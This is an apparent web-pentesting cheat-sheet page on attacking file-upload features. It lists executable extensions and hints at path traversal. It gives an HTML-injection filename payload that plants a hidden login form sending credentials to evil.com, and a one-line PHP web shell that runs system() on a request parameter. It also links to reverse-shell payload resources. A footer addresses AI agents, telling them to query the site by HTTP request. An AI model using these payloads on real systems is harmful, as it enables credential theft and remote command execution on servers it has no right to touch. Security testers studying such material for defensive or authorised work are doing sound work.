# File Upload

## Executable file extension:

```
.php
.phtml
.html
.php3
```

{% hint style="info" %}
using ../ or path traversal method maybe in can change storage folder.
{% endhint %}

## Exploit:

#### Html injection in file name:

```html
“><form action=”//evil.com” method=”GET”><input type=”text” name=”u” style=’opacity:0;’><input type=”password” name=”p” style=’opacity:0;’><input type=”submit” name=”s” value=”submit”><! — .jpg
```

### One line php cmd shell:

```php
<?php if(isset($_REQUEST['cmd'])){ echo "<pre>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "</pre>"; die; }?>
```

## reverse shell generator:  [`https://www.revshells.com/`](https://www.revshells.com/)

## reverse shell payload: <https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md>

##


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://shahidulandshamim.gitbook.io/web-application/exploitation/file-upload.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
